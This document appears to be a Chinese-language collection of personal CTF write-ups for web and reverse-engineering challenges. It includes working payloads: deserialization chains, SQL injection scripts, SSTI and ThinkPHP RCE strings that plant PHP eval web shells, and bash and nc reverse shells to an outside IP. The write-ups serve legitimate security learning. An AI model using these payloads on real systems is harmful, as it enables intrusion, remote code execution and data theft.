尽量写吧
web web14 提示备份了不少东西,用Githack得到flag。
web15 提示vim编辑器,想到源码泄露。输入swp,把1改成i,得到flag。
web20 正则匹配动态密文,提交时要使用session或者cookie
1 2 3 4 5 6 7 8 9 10 11 12 import requestsimport reurl = 'http://123.206.31.85:10020/' s = requests.session() r = s.get(url).text ma = re.search(r'([a-z0-9]{33})' ,r) param = {'key' :ma.group(0 )} r = s.get(url,params=param).text print (r)
安恒月赛 2020 4 Ezunserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); } class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']); //省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a))));
处理过程中只要存在 \0\0\0 这6个字符就会替换成 chr(0)*chr(0) 这3个字符,反序列化过程中会根据长度进行反序列化,就有了逃逸的空间。
最后在 class C 中 toString 方法可以读取 flag.php,class B 中有 echo ,echo 一个 class C 的实例就可以输出了。
1 2 3 4 5 6 7 8 9 10 11 import requests url = 'http://183.129.189.60:10001/' a = '\\0\\0\\0'*8 b = 'x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}' r = requests.get(url, params={'a': a, 'b': b}) print(r.url) print(r.text) #O:1:"A":2:{s:8:"username";s:2:"un";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}} #O:1:"A":2:{s:8:"username";s:2:"un";s:8:"password";s:56:"x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
web baby web 提示想想首页是哪个,访问index.php,跳转回 1.php,抓个包,repeater里重放,看到返回的header里面有flag
php rce thinkphp 5 的漏洞(https://www.vulnspy.com/cn-thinkphp-5.x-rce/)
1 http://111.198.29.45:30031/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20@eval($_POST[c]);?%3E%27%20%3E%20info.php
写入一个shell到info.php,蚁剑连接,根目录下有flag
web2 1 2 3 4 5 6 7 8 9 10 11 12 <?php $s = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'; $_o = base64_decode(strrev(str_rot13($s))); for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } echo strrev($_); ?>
Reverse csaw2013reversing2 执行发现flag是乱码,IDA打开,lpMem存着flag,如果执行到if里面程序就会退出,执行不到messagebox,同时if里面还有好像是处理flag的函数。所以想执行了这个函数之后再执行messagebox,这样就能打印出flag。拖进od,执行到程序设定的断点,nop掉最近的跳转(否则会执行之前的messagebox),接下来执行处理flag的函数,之后跳转到exitprocess,把这个跳转转到messagebox,一共有两个,都试一遍,在第二个得到flag。
dmd-50 IDA,发现一串字符串 780438d5b6e29db0898bc4f0225935c0,是上面MD5加密得到的,拖去解密,是grape的两次MD5,再把grape加密一次,得到flag
re1 拖进OD,搜索字符串
game 先运行一遍,像是玩一个游戏,把灯全点亮可以拿到flag。拖进OD,搜索字符串,看到 “done!the flag is”这里,找到跳转进来的位置,记下开始(push ebp)的地址(00C5E940),再到提示选项的地方(1,△),到这一段的开始(push ebp),改成jmp 00C5E940。
getit IDA发现它把东西写入了 /tmp/flag.txt,在remove下断点,去flag.txt看,发现是假的= =。重新看,是一个简单的算法,用python写一下,得到flag
1 2 3 4 5 6 7 8 s = 'c61b68366edeb7bdce3c6820314b7498' t = r'SharifCTF{????????????????????????????????}' for v5 in range (len (s)): if v5%2 : v3 = 1 else : v3 = -1 print (chr (ord (s[v5])+v3),end='' )
最后要加上格式 SharifCTF{}
Hello Ctf 运行,提示输入序列号,随便输,wrong。IDA里打开,发现一串字符串,向下看发现是把输入转换一下和之前的字符串比较,一致就会给出success。
Open Source arg1 = 0xcafe arg2 = 25 arg3 = h4cky0u,打印得到flag
insanity IDA看一下,好像是把flag和随机数运算一下输出出来,shift F12得到flag
logmein IDA,在主函数的for循环处是算法部分,用c语言照着写下来。
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> int main () { char s[] = ":\"AL_RT^L*.?+6/46" ; long long t = 28537194573619560LL ; char * tp = (char *)&t; for (int i=0 ;s[i];i++) { printf ("%c" ,s[i]^tp[i%7 ]); } }
maze 找到关键函数 sub400690,O:a2-1,o:a2+1,.:a3-1,0:a3+1,a1是地图,走出来把方向记下来,得到flag
no strings attached 32位的elf文件,拖到linux虚拟机里执行一下,出错了。放进IDA,看到4各函数,最后一个把输入和解密之后的数据比较一下,一样会输出success。看一下汇编,decrypt函数运行后有 mov [ebp+s2],eax
,解密后的flag在eax里。用gdb,b decrypt,r,n,i r,x/6sw $eax,以word(4字节),字符串形式显示6行,看到flag。
python trade 找个在线的pyc反编译网站,看到一个编码算法,反着写出来,得到flag
1 2 3 4 5 6 7 8 9 10 11 import base64correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt' def decode (s ): s = base64.b64decode(s) res = '' for c in s: x = c-16 res += chr (x^32 ) return res print (decode(correct))
Shuffle IDA看一下,是一个字符数组,转换成char就拿到了flag
simple unpack IDA二进制方式打开,搜索flag,或者用upx脱壳后再打开,可以直接看到flag。
web [ACTF2020 新生赛]BackupFile 提示有源文件,index.php.bak
,然后就是一个弱类型,key=123
。
[ASIS 2019]Unicorn shop 查看源代码,说UTF-8很重要。输入4,1337,提示只能输入一个字符。查一下Unicode,Unicode - Compart ,随便找一个比1337大的,取UTF8编码,比如0xF0 0x90 0xA1 0x9F
。输入4, %F0%90%A1%9F
,得到flag
[安洵杯 2019]easy_web 看到img=…,可能存在文件包含,base64解密两次,ASCII Hex解密一次,得到555.pnf0?换成index.php加密回去,在img标签的src里看见base64之后的源码。
cmd参数可以执行系统命令,过滤了常用的读取文件的命令。可以使用ca/t f/lag,也可以用sort flag.
下面是一个强类型的md5碰撞,使用fastcoll,.\fastcoll_v1.0.0.5.exe -o 1.txt 2.txt
,生成两个md5内容相同的文件。
1 2 3 4 5 6 7 8 9 10 11 import requests with open(r'C:\Users\<user>\Desktop\1.txt','rb') as f1: with open(r'C:\Users\<user>\Desktop\2.txt','rb') as f2: a = f1.read() b = f2.read() url = 'http://9c2738e0-05e7-4936-839d-286bde014ef5.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=' cmd = r'sort /flag' data = {'a': a,'b': b} r = requests.post(url+cmd, data=data) print(r.text)
读取文件时要用绝对路径,否则会找不到文件,原因不明。
[BJDCTF 2nd]fake google 随便输点什么,看到提示 SSTI。
能看到结果,直接 tplmap,得到flag。
[安洵杯 2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
从后往前看,假设文件在./flag.php
,目的是执行file_get_contents('./flag.php')
,usrinfo来自filter和反序列化的$_SESSION
,filter删除特定的字符串。由于是先反序列化后过滤,本来不属于变量的一部分的字符串可能被收进变量中。extract可以用于覆盖变量。
没有成功,原来文件不是flag.php。
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
filter会删除flag,img被反序列化。得到flag的位置,改一下payload就可以了。
[BJDCTF2020]EasySearch 存在 .swp 备份,先爆破 md6
1 2 3 4 5 6 7 import hashlib def md5(s): return hashlib.md5(s.encode('utf-8')).hexdigest() for i in range(1, 10000000): if md5(str(i)).startswith('6d0bc1'): print(i) break
得到2020666,在返回包头看见文件,进入。这个文件是一个 shtml 文件,存在模板注入。
返回 index,用户名处输入payload
1 <!--#exec cmd="命令"--> # 此处使用 ls
发现文件 flag ,访问可以得到flag
[BJDCTF 2nd]Schrödinger 有个爆破密码的功能,扫下目录发现 test.php,应该是要用这个功能爆破 test 的密码。
看一下 cookie,有个 base64加密的值,user=1589337171
,不知道是什么,先改一改,改成999999999999999999
,刷新发现页面变了
1 2 Already burst -999999998410662300 sec, 122930 p/s Forecast success rate NaN%
刚才的 user 应该是时间,但是改完变成负的了,再改成0试试。
1 2 Already burst 1589337868 sec, 142033 p/s Forecast success rate 99.57694165675845%
再 check 成功了,弹出密码av11664517@1583985203
,查一下这个av号,是北京大学量子力学的视频,flag 在评论里,脚本跑一下。
[BJDCTF 2nd]duangShell 下载源代码.index.php.swp
,使用 vim -r index.php.swp
恢复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0); echo "how can i give you source code? .swp?!"."<br>"; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); { } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { } {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; } else { //duangShell~~~~ exec($girl); } }
过滤了符号,不能使用变量拼接。禁用了 base64 ,也不能编码绕过。需要反弹sehll
申请小号,开一个 linux lab,在 /var/www/html
下写反弹shell
1 echo 'bash -i >& /dev/tcp/174.1.54.235/4444 0>&1' > a
监听
到 web 页面 POST
1 girl_friend=curl http://174.1.54.235/a|bash
遇到了问题,bash 会自动退出,原因不明,改成 nc 反弹 shell,监听
POST
1 girl_friend=nc 174.1.54.235 9999 -e /bin/bash
成功得到shell
1 2 find / -name flag cat /etc/demo/P3rh4ps/love/you/flag
[BJDCTF2020]Cookie is so stable 提示 cookie,在 flag 页面输入 admin,刷新抓包可以看到 cookie 里面有一个 user 字段,同时页面上显示 Hello,admin。输入
得到2,模板注入。burp 里把 user 字段改成下面的值
1 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
[BJDCTF2020]ZJCTF,不过如此 代码审计,/?text=php://input&file=php://filter/read/convert.base64-encode/resource=next.php
,POST I have a dream
,得到 next.php 源码,也可以用data://text/plain,I%20have%20a%20dream
next.php 存在带 /e
的 preg_replace,/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[BJDCTF2020]The mystery of ip Hint 里提到知道 IP,抓包改 XFF,显示的 IP 就会变,想到模板注入
1 X-Forwarded-For: {{1+1}}
显示了2,确实存在模板注入,模板是 Smarty
1 X-Forwarded-For: {{system("cat /flag")}}
[BJDCTF 2nd]简单注入 打个引号就告诉我 Stop hacking,看下 robots.txt,有 hint.txt
1 2 3 4 Only u input the correct password then u can get the flag and p3rh4ps wants a girl friend. select * from users where username='$_POST["username"]' and password='$_POST["password"]';
过滤了select
,=
,'
,union
,and
,;
,"
可以在username 使用\
转义单引号,就可以在 password 处执行查询了,之后就是常规盲注。抄个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requests url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php" data = {"username":"admin\\","password":""} result = "" i = 0 while( True ): i = i + 1 head=32 tail=127 while( head < tail ): mid = (head + tail) >> 1 #payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid) payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid) data['password'] = payload r = requests.post(url,data=data) if "stronger" in r.text : head = mid + 1 else: tail = mid last = result if head!=32: result += chr(head) else: break print(result)
[BJDCTF2020]Mark loves cat git 源码泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }y'd's if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;
看着很复杂,不要有思维定势觉得一定要走到最后一行,实际上在exit()
中就可以得到结果。几个 exit 条件中,不传入 flag 的这一条最容易实现,会输出 $yds
,所以直接 GET 传入yds=flag
,会把真正的flag赋值给$yds
,再 exit 就得到了flag。
同时使用escapechellargs和escapeshellcmd会出现问题,用单引号包含的参数会导致参数注入。
1 2 3 4 5 6 7 ' <?php @eval($_POST["hack"]);?> -oG hack.php ' # escapeshellargs先对单引号转义 \' <?php @eval($_POST["hack"]);?> -oG hack.php \' # 然后对反斜线分隔的每个部分加单引号 ''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''' # escapeshellcmd对其他特殊字符转义,但不转义单引号 ''\\'' \<\?php \@eval(\$_POST\[\"hack\"\]);\?\> -oG hack.php '\\'''
[CISCN2019 总决赛 Day2 Web1]Easyweb 有robots.txt,看到*.php.bak,看看index的源码,有个image.php还有user.php,image.php.bak可以下载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
addslashes在单双引号、反斜杠和空字符前加上反斜杠,strreplace把数组中的内容删除。
这里思路窄了,以为只要一个位置就可以,怎么也弄不出来单引号。但实际上在path后面有一个单引号,只要有一个反斜杠来转义id后面的引号就可以了。可以使用\\0
,addslashes变成\\\\0
,strreplace变成\
。由于没有显示位,使用布尔盲注。当id=1时有图片,id=0时显示有错误。
[CISCN 2019 初赛]Love Math 函数:
1 2 3 4 5 6 scandir() # 返回指定目录中的文件和目录的数组 base_convert() # 转换禁止 dechex() # 十进制转为十六进制 hex2bin() # 十六进制转为ASCII字符 var_dump() # 输出变量信息 readfile() # 输出文件
特性:
动态函数:可以把函数名用字符串传递给变量,通过此变量动态调用函数。$func='die';$func();
函数名默认为字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
不能出现blacklist中的内容,preg_match_all得到的内容必须在whitelist里,同时payload有长度限制。
方法一:构造$_GET
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /
1 2 3 4 5 base_convert(37907361743,10,36) ==> "hex2bin" dechex(1598506324) ==> "5f474554" base_convert(37907361743,10,36)(dechex(1598506324)) ==> hex2bin("5f474554") ==> "_GET" $_GET{pi}{$_GET{abs}} ==> system('ls /'')
方法二:构造getallheaders
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
1 2 3 base_convert(696468,10,36) => "exec" $pi(8768397090111664438,10,30) => "getallheaders" exec(getallheaders(){1})
发包时用burp抓包,在headers添加1: cat /flag
方法三:异或
fuzz:
1 2 3 4 5 6 7 8 9 10 11 <?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } }
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
[CISCN2019 华北赛区 Day1 Web2]ikun 先注册个账号,找到lv6的号,
1 2 3 4 5 6 7 8 9 import requests url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page=" for i in range(1000): r = requests.get(url + str(i)) if "lv6.png" in r.text: print i break
然后购买,抓包,把discount改成0.000000000001,就可以买下来。
发现只有admin可以访问,查看cookie,有一个jwt,到 jwt.io ,解码,把 username 改为admin ,用 https://github.com/brendan-rius/c-jwt-cracker,跑出签名为 1Kun,再到 jwt.io得到 jwt,eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
,用edit this cookie改成新的jwt,刷新可以看到 “一键成为大会员”,也可以看到源码,打开源码里面admin.py,看到pickle.loads(urllib.qoute(become)),(反序列化文章,http://www.sohu.com/a/274879579_729271),一键成为大会员按钮会post一个 become 参数,利用反序列化漏洞读取flag
1 2 3 4 5 6 7 8 9 >>> import urllib >>> import pickle >>> class a(object): ... def __reduce__(self): ... return (eval,("open('/flag.txt','r').read()",)) ... >>> a = pickle.dumps(a()) >>> a = urllib.quote(a) >>> print a
得到c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
,抓包,把become=admin改成上面的字符串,得到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World 一共就两条数据,过滤了空格,and,or,布尔盲注。
可以使用id=0^[payload]
或者id=if([payload],1,2)
。后者只能用于数字型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests url = "http://c30faac4-d474-4905-a58f-c43c968a74ac.node3.buuoj.cn:80/index.php" i = 1 while True: left = 32 right = 127 while True: if right - left == 1: print(chr(right), end='') break mid = int((right+left)/2) data = {"id": "if(ascii(mid((select(flag)from(flag)),{},1))>{},1,2)".format(i, mid)} r = requests.post(url, data=data, proxies={'http':'127.0.0.1:9999'}) if 'Hello' in r.text: left = mid else: right = mid i += 1
可能是在print()
函数中用end
关键字参数的话不会刷新缓冲区,大概觉着跑完了就Ctrl+C,就能看到结果了 = =。
[CISCN2019 总决赛 Day2 Web1]Easyweb robots.txt,有 image.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
不应该过\\0
,传入\0
,加反斜线变成\\\0
,过之后变成\
,可以逃逸。
1 2 image.php?id=\0&path=+or+id=3+order+by+2%23 # 成功 image.php?id=\0&path=+or+id=3+order+by+3%23 # 失败
盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests url = "http://b74c9739-071c-4a0f-9c97-f7eff3e4438e.node3.buuoj.cn/image.php" result = '' for i in range(0, 30): right = 127 left = 32 mid = int((right + left) >> 1) while right > left: payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid) # select group_concat(column_name) from information_schema.columns where table_schema=database() # params = { 'id': '\\0', 'path': payload } response = requests.get(url, params=params) if "JFIF" in response.text: left = mid + 1 else: right = mid mid = int((right + left) >> 1) result += chr(mid) print(result)
回显位置,发现是 php,有上传的文件名。再次上传文件名为 php 木马的文件,连接日志文件获得 shell
1 logs/upload.1de80834766269f33c963dd093dee010.log.php
文件名
1 <?=@eval($_POST['c']);?>
[CISCN2019 华东南赛区]Web11 Smarty 模板注入,可以使用一些 php 语句
1 2 {if show_source('/flag')}{/if} {readfile('/flag')}
[CISCN2019 华北赛区 Day1 Web1]Dropbox 走一遍正常流程,注册登录,上传只能传图,下载的地方抓一下包,filename这里有路径穿越,读了index, upload, download, class, delete, login,开始审计。
upload里面会检查文件类型,然后把后缀名改成图片的类型,默认是gif。
download限制了文件名长度,其中不能含有flag。
重点是class.php,其中有3个类,FIle, Filelist, User
1 2 3 4 5 6 class File { public $filename; public function close() { return file_get_contents($this->filename); } }
FIle类中的close()
有file_get_contents()
可以用来获取flag,但是没有输出
1 2 3 4 5 6 class User { public $db; public function __destruct() { $this->db->close(); } }
User类中有__destruct()
,在User类销毁的时候可以调用db的close方法,如果db是一个File类的实例,就能调用FIle的close读取flag,但还是不能输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class FileList { private $files; private $results; private $funcs; public function __call($func, $args) { array_push($this->func, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = 'html...'; $table .= 'html...'; foreach ($this->funcs as $func) { $table .= 'html...'; } $table .= 'html...' foreach ($this->results as $filename => $result) { $table .='html..'; foreach ($result as $func => $value) { $table .= '..'.htmlentities($value).'..'; } $table .= '...'.htmlentities($filename).'..'; } echo $table; } }
FileList 类中有__call()
,可以调用File的close()
,还能存储结果输出出来。
思路:创建一个User类的对象,它的db变量是一个FileList对象,FileList的files变量是包含一个File对象的数组,这个File对象的filename变量是flag的位置。User对象销毁时会调用db的close()
,db是一个FIleLIst对象,没有close()
的情况下会调用__call()
,再调用File($filename=’/flag.txt’)的close()
,返回值存到FileList的$result里,再打印出来。
可以利用phar创建符合以上要求的对象,可以参考博客里的 phar扩展php反序列化攻击面。生成phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class User { public $db; } class File { public $filename; } class FileList { private $files; private $results; private $funcs; public function __construct() { $file = new File(); $file->filename = '/flag.txt'; $this->files = array($file); $this->results = array(); $this->funcs = array(); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->db = new FileList(); $phar->setMetadata($o); $phar->addFromString("jwt.txt", "test"); $phar->stopBuffering(); ?>
很多文件系统函数可以触发phar的反序列化,这个网站有上传、下载和删除操作,都看一遍,上传和下载都没什么,删除的地方有个unlink,正好可以利用,把生成的phar后缀名改成jpg,上传,在删除的地方抓包,可以得到flag。
[De1CTF 2019]SSRF Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
分为3个路由,geneSgn生成'scan' + param
的md5。index给你看一下源代码。challenge接受action,param,sign三个参数,param过一下waf(不能以gopher
或者file
开头),进入Exec,首先检查secret_key + param + action
的md5与 sing 是否一致,然后判断 scan 和 read 是否在action中。如果含有scan则把param文件写入tmpfile,含有read返回tmpfile的内容。
解法一:哈希长度扩展攻击
secret_key长度16,geneSign?param=flag.txt
可以得到 md5(secret_key + 'flag.txt' + 'scan')
,目的是获取md5(secret_key + 'flag.txt' + action)
其中action含有read。可以使用哈希长度扩展攻击。
得到action 为 scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%0 0%00%00%00%00%00read
时的md59b02232286ed9dd4f7e52eba63094180
,发包即可。
1 2 3 4 5 6 7 8 9 10 import requests url = 'http://63904195-027d-4866-a049-78fd37f2a920.node3.buuoj.cn/De1ta?param=flag.txt' cookies = { 'sign': '9b02232286ed9dd4f7e52eba63094180', 'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read', } r = requests.get(url, cookies=cookies) print(r.text)
解法二:字符串拼接
问题在于geneSign处,返回的md5是scret_key + flag.txt + scan
,即<secret_key>flag.txtscan
,所以直接访问/geneSign?param=flag.txtread
得到的md5就是<secret_key>flag.txtreadscan
的MD5,用这个MD5作为sign访问/De1ta?param=flag.txt
,action为readscan,直接可以得到flag。
urllib.urlopen()
可以用file://
包含文件,这里过滤了,可以使用local_file:
代替。
easy tornado hint.txt里面告诉了filehash的生成方式,需要我们找到cookie_secret。
welcome.txt 写了render,flag.txt里给了flag的路径。
http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/file ?filename=/fllllllllllllag
,提示Error,同时url变成http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/error?msg=Error
,结合上面的render可以想到模板注入获得cookie_secret。
http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/error?msg={{handler.application.settings}}
